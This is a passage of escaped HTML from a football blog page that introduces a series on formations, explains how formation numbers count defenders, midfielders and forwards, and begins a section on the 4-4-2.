Be it the Italian Antonio Conte or Spanish genius Pep Guardiola, seasoned premier league campaigners like Ars\u00e8ne Wenger and Mourinho or the German tactician J\u00fcrgen Klopp. Formation is THE most important aspect of a manager\u2019s job. The formation the manager decides to play affects the game in most significant ways. He\u00a0has to evaluate the strengths and weaknesses of both his players and\u00a0the opposition as well as\u00a0injuries to the players, while deciding which formation will get him the best result.<\/p>\n<\/div><\/section><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-11  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n<\/p>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_3'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-12  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5136'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-13  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-14  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify;\">So what exactly is a formation?<\/p>\n<p style=\"text-align: justify;\">It&#8217;s a set that tells the\u00a0positions of players on the field. It determines how many players play defense, midfield and forward. The first number always describes the number of defender and the last number describes the number of forwards. The goalkeeper is never mentioned in a Football formation. For example, a 4-4-2 formation suggests that there are four defenders (two center-backs, two fullbacks), four midfielders (two central midfielders, two side midfielders), and two forwards in the setup.<\/p>\n<\/div><\/section><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-16  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_4'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-17  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5136'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-18  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-19  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-5a6e0b51a13d17c4dc0790611c6407e9\">\n#top .av-special-heading.av-av_heading-5a6e0b51a13d17c4dc0790611c6407e9{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-5a6e0b51a13d17c4dc0790611c6407e9 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-5a6e0b51a13d17c4dc0790611c6407e9 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-5a6e0b51a13d17c4dc0790611c6407e9 av-special-heading-h3 blockquote modern-quote  avia-builder-el-20  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >The 4-4-2<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify;\">The first in this formation series focuses on the classic 4-4-2.
